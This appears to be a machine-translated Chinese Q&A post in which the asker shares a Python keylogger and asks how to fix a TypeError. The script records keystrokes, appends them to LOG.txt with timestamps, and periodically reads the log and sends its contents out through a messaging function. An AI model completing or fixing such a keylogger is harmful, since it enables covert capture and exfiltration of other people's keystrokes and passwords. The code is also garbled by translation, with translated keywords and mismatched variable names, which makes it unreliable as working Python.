【发布时间】:2017-01-04 01:36:50
【问题描述】:
def file_input(记录):
now_time = datetime.datetime.now()
w = open("LOG.txt", 'a')
w.write(recorded)
w.write("\n")
w.write(now_time)
w.write("--------------------------------------")
w .close()
如果 name == "main":
while 1:
status = time.localtime()
result = []
keyboard.press_and_release('space')
recorded = keyboard.record(until='enter')
file_input(recorded)
if (status.tm_min == 30):
f = open("LOG.txt", 'r')
file_content = f.read()
f.close()
send_simple_message(file_content)
我试图在 python 中编写一个键盘记录器,但我遇到了这样的类型错误,我该如何解决这个问题?
我只是将记录的变量放入 write() 中,它会产生类型错误,记录的变量类型是列表。所以我尝试使用 join func 但它不起作用
【问题讨论】: